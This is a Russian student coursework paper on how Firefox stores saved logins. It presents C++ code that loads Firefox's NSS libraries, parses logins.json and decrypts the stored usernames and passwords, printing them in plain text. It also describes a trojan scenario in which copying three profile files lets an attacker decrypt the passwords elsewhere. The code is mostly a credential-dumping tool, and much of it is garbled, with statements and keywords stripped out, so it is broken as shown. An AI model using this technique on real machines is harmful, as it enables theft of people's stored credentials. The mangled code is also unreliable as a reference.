Исследование механизмов хранения паролей Web-браузера Firefox
Теоретические сведения
браузер интернет дешифровка пароль
WEB-браузеры
сегодня используются для доступа к Интернет-ресурсам для просмотра страниц,
видео, управления/администрирование неких ресурсов. Естественно чем больше
персональных интернет страниц посещает человек, тем сложнее управлять паролями
к данным ресурсам. Браузеры, за последние 3 года, ввели функциональность
запоминания и шифрования паролей которые ввели пользователи на сайтах.
Естественно есть огромное количество решений по шифрованию паролей, но в моей
задаче использовалось шифрование PKCS#11.
Но нам не надо вникать в суть шифрования/расшифровки или управления ключами,
т.к. есть библиотеки, в которых реализована данная функция, нам только остается
правильно их вызвать.
Имена используемых библиотек:.dll.dll.dll.dll.dll.dll.dll.dll.dll.dll
Задание
Изучение механизмов хранения паролей современных web-браузеров.
В процессе выполнения данной курсовой работы мною было изучены и
реализованы следующие действия
. Объявление и вызов функций из сторонних библиотек.
. Считывание списка посещенных интернет ресурсов.
. Получение зашифрованных данных и их расшифровка.
Как я уже отметил, я использовал стандартные функции из библиотек freebl3.dll
gkmedias.dll
mozglue.dll
mozjs.dll
msvcp100.dll
msvcr100.dll
nss3.dll
nssckbi.dll.dll.dll
Причем только явным образом я объявлял вызов функций из nss3.dll
и mozglue.dll, остальные используются автоматически, неявным
вызовом. Загружаем
данные модули.
HMODULE mozglue = LoadLibrary(L"C:\\Program Files
(x86)\\Mozilla Firefox\\mozglue.dll");nss3 =
LoadLibrary(L"C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll");
Обьявляем тип функций.SECStatus (__cdecl *NSS_InitFunc)(const
char *configdir);SECStatus (__cdecl *NSS_ShutdownFunc)(void);PK11SlotInfo
*(__cdecl *PK11_GetInternalKeySlotFunc)(void);void (__cdecl
*PK11_FreeSlotFunc)(PK11SlotInfo *slot);SECStatus (__cdecl
*PK11_AuthenticateFunc)(PK11SlotInfo *slot, PRBool loadCerts, void
*wincx);SECStatus (__cdecl *PK11SDR_DecryptFunc)(SECItem *data, SECItem
*result, void *cx);SECStatus (__cdecl *PK11_CheckUserPasswordFunc)(PK11SlotInfo
*slot, const char *pw);char *(__cdecl *PL_Base64DecodeFunc)(const char *src,
PRUint32 srclen, char *dest);void (__cdecl *SECITEM_ZfreeItemFunc)(SECItem
*zap, PRBool freeit);void (*SECITEM_AllocItem)(SECItem & item, int
len);_InitFunc NSSInit = NULL;_ShutdownFunc NSSShutdown =
NULL;_GetInternalKeySlotFunc PK11GetInternalKeySlot =
NULL;_CheckUserPasswordFunc PK11CheckUserPassword = NULL;_FreeSlotFunc
PK11FreeSlot = NULL;_AuthenticateFunc PK11Authenticate = NULL;_Base64DecodeFunc
PL_Base64Decode = NULL;SDR_DecryptFunc PK11SDRDecrypt = NULL;_ZfreeItemFunc
SECITEM_ZfreeItem = NULL;
Функции объявлены, теперь нам надо найти файл, в котором хранятся данные
интернет страниц - логин, зашифрованный пароль, адрес страницы. Согласно
документации Firefox, эти данные хранятся в нескольких
файлах, но все они находятся по адресу %appdata%/Roaming/Mozilla/Profile/__имя_профиля_рандом.default/.
Имя профиля - случайное числобуквенное сочетание длиной в 8 байт. В нем я
нашел 2 файла, в котором есть требуемая мне информация - logins.json и signons.sqlite. В первом файле информация хранится
в текстовом виде, например
{"nextId":3,"logins":[{"id":1,"hostname":"https://mail.ru","httpRealm":null,"formSubmitURL":"https://auth.mail.ru","usernameField":"Login","passwordField":"Password","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECOn8LsIAZGYfBAjkMXIeyeHVBw==","encryptedPassword":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECHEez+JhoL3oBAimi8QGV8S1sA==","guid":"{fb59f7db-a682-4a4b-b5f4-f140ba4f2e1b}","encType":1,"timeCreated":1417461961022,"timeLastUsed":1417461961022,"timePasswordChanged":1417461961022,"timesUsed":1},{"id":2,"hostname":"https://www.facebook.com
А во 2-ом файле она находится в сжатом бинарном виде. Для работы мне
более удобен текстовый файл logins.json. Ниже представленный код я использую
для обработки данного файла.
std::string sFirefoxPath =
"C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\k7z1336z.default\\";::string
sJsonDB = sFirefoxPath + "logins.json";//путь до файла::string sTempline =
"";::ifstream ifJson;.open(sJsonDB.c_str(), std::ios::in);//открываем его(ifJson.is_open())
{(getline(ifJson, sTempline))
{ii = sTempline.length();(int i = 0; i <
sTempline.length(); i++)
{
std::string sURL = "";//переменная для URL
std::string sEncryptedUser = "";//переменная для
имя пользователя
std::string sEncryptedPass = ""; //переменная для
зашифрованного пароля пользователя
int iFind = sTempline.find("hostname"); //
URL(iFind > -1)
{= sTempline.substr(iFind, sTempline.size());=
sTempline.substr(11);= sURL.find("\"");= sURL.substr(0, iFind);=
sTempline.substr(sURL.size(), sTempline.size());
}= sTempline.find("encryptedUsername");(iFind >
-1)
{= sTempline.substr(iFind, sTempline.size()); =
sTempline.substr(20);= sEncryptedUser.find("\"");=
sEncryptedUser.substr(0, iFind);= sTempline.substr(sEncryptedUser.size(),
sTempline.size());
}= sTempline.find("encryptedPassword");(iFind >
-1)
{= sTempline.substr(iFind, sTempline.size());= sTempline.substr(20);=
sEncryptedPass.find("\"");= sEncryptedPass.substr(0, iFind);=
sTempline.substr(sEncryptedPass.size(), sTempline.size());
} (sURL.size() > 0 && sEncryptedUser.size() > 0
&& sEncryptedPass.size() > 0)
{::string sUserPlain = DecodeFireFox(sEncryptedUser.c_str(),
sProfilePath.c_str(), sFirefoxPath);//расшифровываем имя::cout << "URL:
" << sURL << std::endl;::cout << "Username: "
<< sUserPlain << std::endl;::string sPassPlain =
DecodeFireFox(sEncryptedPass.c_str(), sProfilePath.c_str(), sFirefoxPath);//расшифровываем пароль::cout << "Password: " << sPassPlain
<< std::endl;
}
}
}
Когда мы из файла получаем попарно зашифрованные имя и пароль, нам надо
их расшифровать, для этого существует функция DecodeFireFox.
iNSS_Shutdown();//обнуляем переменные
init_status = NSSInit("C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\k7z1336z.default\\");//пробуем инициализировать API из библиотек
if(init_status == SECSuccess)//если инициализация прошла успешно
{
int cred_len = strlen(encryptedstring);//берем длину зашифрованного текста
int pnDestLen = maxlenght;char decoded_cred[2048];SlotInfo
*slot = PK11GetInternalKeySlot();//получаем ключи из контейнера (!PL_Base64Decode(encryptedstring,
cred_len, (char*) decoded_cred))//дешифруем base64
{FALSE;
}(!slot)
{FALSE;
} (PK11Authenticate(slot, TRUE, NULL) == SECSuccess)//если контейнер инициализирован
{data, result;.data = NULL;.len = 50;.data =
decoded_cred;.len = decoded_size(encryptedstring);s = PK11SDRDecrypt(&data,
&result, NULL);//расшифровка(s == SECSuccess)
{= (char*)result.data;//расшифрованный логин или пароль.data = NULL;
}
}FreeSlot(slot);//закрываем контейнер
}
}_Shutdown();//закрываем API(nss3); //удаляем из памяти библиотеку
FreeLibrary(mozglue); //удаляем из памяти библиотеку
1.ПРИМЕР РАБОЧЕЙ ПРОГРАММЫ
Данная программа работала на хостовой машине, где была установлена Mozilla Firefox. Давайте теперь представим, что на рабочий ПК
проникла троянская программа. Выясним, какие файлы ему нужно получить, чтобы
владелец троянского коня смог расшифровать пароли из базы данных FF. Для этого возьмем виртуальную
машину, где будет установлен windows
7 без установленного FF.
Скопируем на эту виртуальную машину нашу программу. Как я выше уже отмечал
программа состоит не только из c.exe но и из библиотек.
Создаем путь %AppData%/Roaming/Mozilla/Firefox/Profiles/имапрофиля/.
И копируем туда 3 файла, которые нужны для расшифровки, - cert8.db
key3.db logins.json. Запускаем программу и видим, что наша программа вновь
расшифровала пароли. Следовательно, для того чтобы атакующий смог получить
данные от FF, ему понадобится всего лишь 3 вышеуказанных файла.
Код программы Приложение 1
#include "stdafx.h"
#include <windows.h>
#include <windows.h>
#include <Shlwapi.h>
#include <Shlobj.h>
#include <string>
#include <vector>
#include <cstdio>
#include <iostream>
#include <fstream>
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "Shell32.lib")namespace std;
#define NOMINMAX
#define PRBool int
#define PRUint32 unsigned int
#define PR_TRUE 1
#define PR_FALSE 0
#define SQLITE_OK 0
#define SQLITE_ROW 100
#define SQLITE_APIenum SECItemType {= 0,= 1,,,,,,,,,,,
};::string DecodeFireFox(const char * encryptedstring, const
char * ffprofiledir, std::string firefoxpath); //v28_t decoded_size(const char
*encoded_data);ii=0;ab(int i);SECItem {type;char *data;_t len;
}; enum SECStatus {= -2,= -1,= 0
}; ::string
getInstallPath(VOID){lStatus;cbSize;value[MAX_PATH];::string path =
"SOFTWARE\\Mozilla\\Mozilla Firefox";= MAX_PATH;(!SHGetValue(HKEY_LOCAL_MACHINE,
(LPCWSTR)"SOFTWARE\\Mozilla\\Mozilla Firefox",
(LPCWSTR)"CurrentVersion", 0, value, &cbSize)){+=
"\\";+= value;+= "\\Main";= MAX_PATH;=
SHGetValue(HKEY_LOCAL_MACHINE, (LPCWSTR)path.c_str(), (LPCWSTR)"Install
Directory", 0, value, &cbSize);
}value;
}LoadLib(std::string installPath)
{
//ab();
// setup pathpath[4096];dwError =
GetEnvironmentVariable((LPCWSTR)"PATH", (LPWSTR)path, 4096);::string
newPath = path;+= (";" + installPath);((LPCWSTR)"PATH",
(LPCWSTR)newPath.c_str());hNSS = LoadLibrary(L"nss3.dll");error =
GetLastError();(hNSS){= (NSS_Init)GetProcAddress(hNSS, "NSS_Init");=
(NSS_Shutdown)GetProcAddress(hNSS, "NSS_Shutdown");GetInternalKeySlot
= (PK11_GetInternalKeySlot)GetProcAddress(hNSS, "PK11_GetInternalKeySlot");FreeSlot
= (PK11_FreeSlot)GetProcAddress(hNSS, "PK11_FreeSlot");Authenticate =
(PK11_Authenticate)GetProcAddress(hNSS,
"PK11_Authenticate");SDRDecrypt =
(PK11SDR_Decrypt)GetProcAddress(hNSS,
"PK11SDR_Decrypt");CheckUserPassword = (PK11_CheckUserPassword)GetProcAddress(hNSS,
"PK11_CheckUserPassword");_open = (function)GetProcAddress(hNSS,
"sqlite3_open");_prepare_v2 = (function2)GetProcAddress(hNSS,
"sqlite3_prepare_v2");_step = (function3)GetProcAddress(hNSS,
"sqlite3_step");_column_text = (function4)GetProcAddress(hNSS,
"sqlite3_column_text");_Init = (function6)GetProcAddress(hNSS,
"NSS_Init");_Shutdown = (function7)GetProcAddress(hNSS,
"NSS_Shutdown");
}!(!NSSInit || !NSSShutdown || !PK11GetInternalKeySlot ||
!PK11Authenticate || !PK11SDRDecrypt || !PK11FreeSlot ||
!PK11CheckUserPassword);
}EnumProfiles(VOID)
{path[MAX_PATH];appData[MAX_PATH],
profile[MAX_PATH];sections[4096];(NULL, CSIDL_APPDATA, NULL,
SHGFP_TYPE_CURRENT, (LPWSTR)appData);((LPWSTR)sections, 4096,
L"C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini");*p
= sections;=1;(1);=2;(2);
}ab(int ii)
{::string sProfilePath =
"C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";::string
sFirefoxPath =
"C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\k7z1336z.default\\";::string
sJsonDB = sFirefoxPath + "logins.json";::string sTempline =
"";::ifstream ifJson;.open(sJsonDB.c_str(),
std::ios::in);(ifJson.is_open())
{(getline(ifJson, sTempline))
{ii = sTempline.length();(int i = 0; i <
sTempline.length(); i++)
{::string sURL = "";::string sEncryptedUser =
"";::string sEncryptedPass = "";iFind =
sTempline.find("hostname"); // URL(iFind > -1)
{= sTempline.substr(iFind, sTempline.size());=
sTempline.substr(11);= sURL.find("\"");= sURL.substr(0, iFind);=
sTempline.substr(sURL.size(), sTempline.size());
}= sTempline.find("encryptedUsername");(iFind >
-1)
{= sTempline.substr(iFind, sTempline.size());=
sTempline.substr(20);= sEncryptedUser.find("\"");=
sEncryptedUser.substr(0, iFind);= sTempline.substr(sEncryptedUser.size(), sTempline.size());
}= sTempline.find("encryptedPassword");(iFind >
-1)
{= sTempline.substr(iFind, sTempline.size());=
sTempline.substr(20);= sEncryptedPass.find("\"");=
sEncryptedPass.substr(0, iFind);= sTempline.substr(sEncryptedPass.size(),
sTempline.size());
} (sURL.size() > 0 && sEncryptedUser.size() > 0
&& sEncryptedPass.size() > 0)
{::string sUserPlain = DecodeFireFox(sEncryptedUser.c_str(),
sProfilePath.c_str(), sFirefoxPath);::cout << "URL: " <<
sURL << std::endl;::cout << "Username: " <<
sUserPlain << std::endl;::string sPassPlain =
DecodeFireFox(sEncryptedPass.c_str(), sProfilePath.c_str(),
sFirefoxPath);::cout << "Password: " << sPassPlain
<< std::endl;
}
}
}
}
}init_status ;::string DecodeFireFox(const char * encryptedstring,
const char * ffprofiledir, std::string firefoxpath) //v28
{maxlenght = 2048;::string decodedstuff =
"";mozglue = LoadLibrary(L"C:\\Program Files (x86)\\Mozilla
Firefox\\mozglue.dll");nss3 = LoadLibrary(L"C:\\Program Files
(x86)\\Mozilla Firefox\\nss3.dll");SECStatus (__cdecl *NSS_InitFunc)(const
char *configdir);SECStatus (__cdecl *NSS_ShutdownFunc)(void);PK11SlotInfo
*(__cdecl *PK11_GetInternalKeySlotFunc)(void);void (__cdecl
*PK11_FreeSlotFunc)(PK11SlotInfo *slot);SECStatus (__cdecl *PK11_AuthenticateFunc)(PK11SlotInfo
*slot, PRBool loadCerts, void *wincx);SECStatus (__cdecl
*PK11SDR_DecryptFunc)(SECItem *data, SECItem *result, void *cx);SECStatus
(__cdecl *PK11_CheckUserPasswordFunc)(PK11SlotInfo *slot, const char *pw);char
*(__cdecl *PL_Base64DecodeFunc)(const char *src, PRUint32 srclen, char
*dest);void (__cdecl *SECITEM_ZfreeItemFunc)(SECItem *zap, PRBool freeit);void
(*SECITEM_AllocItem)(SECItem & item, int len);_InitFunc NSSInit =
NULL;_ShutdownFunc NSSShutdown = NULL;_GetInternalKeySlotFunc PK11GetInternalKeySlot
= NULL;_CheckUserPasswordFunc PK11CheckUserPassword = NULL;_FreeSlotFunc
PK11FreeSlot = NULL;_AuthenticateFunc PK11Authenticate = NULL;_Base64DecodeFunc
PL_Base64Decode = NULL;SDR_DecryptFunc PK11SDRDecrypt = NULL;_ZfreeItemFunc
SECITEM_ZfreeItem = NULL;(mozglue && nss3)
{
//Funktionen aus DLL laden = (NSS_Init)GetProcAddress(nss3,
"NSS_Init");= (NSS_Shutdown)GetProcAddress(nss3,
"NSS_Shutdown");GetInternalKeySlot =
(PK11_GetInternalKeySlot)GetProcAddress(nss3, "PK11_GetInternalKeySlot");FreeSlot
= (PK11_FreeSlot)GetProcAddress(nss3, "PK11_FreeSlot");Authenticate =
(PK11_Authenticate)GetProcAddress(nss3,
"PK11_Authenticate");SDRDecrypt =
(PK11SDR_Decrypt)GetProcAddress(nss3, "PK11SDR_Decrypt");_open =
(function)GetProcAddress(nss3, "sqlite3_open");_prepare_v2 =
(function2)GetProcAddress(nss3, "sqlite3_prepare_v2");_step =
(function3)GetProcAddress(nss3, "sqlite3_step");_column_text =
(function4)GetProcAddress(nss3, "sqlite3_column_text");_Init = (function6)GetProcAddress(nss3,
"NSS_Init");_Shutdown = (function7)GetProcAddress(nss3,
"NSS_Shutdown");_Base64Decode =
(PL_Base64DecodeFunc)GetProcAddress(nss3,"PL_Base64Decode");
{
//if(init_status != SECSuccess)_Shutdown();_status =
NSSInit("C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\k7z1336z.default\\");(init_status
== SECSuccess)
{cred_len = strlen(encryptedstring);pnDestLen =
maxlenght;char decoded_cred[2048];
//if(ii!=1)SlotInfo *slot =
PK11GetInternalKeySlot();(!PL_Base64Decode(encryptedstring, cred_len, (char*)
decoded_cred))
{FALSE;
}(!slot)
{FALSE;
} (PK11Authenticate(slot, TRUE, NULL) == SECSuccess)
{data, result;.data = NULL;.len = 50;.data =
decoded_cred;.len = decoded_size(encryptedstring);s = PK11SDRDecrypt(&data,
&result, NULL);(s == SECSuccess)
{= (char*)result.data;.data = NULL;
}
}FreeSlot(slot);
}
}_Shutdown();(nss3);(mozglue);
}decodedstuff;
}_t decoded_size(const char *encoded_data)
{_t str_len, size;_len = strlen(encoded_data);= str_len/4 *
3;(encoded_data[str_len - 1] == '=')
}size;
}main(void){("\nYour Firefox
Passwords:\n");::string installPath =
"C:\\Users\\Vahagn\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\k7z1336z.default\\";(!installPath.empty())
{(LoadLib(installPath))
{();
}{("\n Unable to initialize required libraries.");
}
}{("\n Firefox doesn't appear to be installed on this
machine.");
}("\n Press any key to continue . . .");
fgetc(stdin);0;
}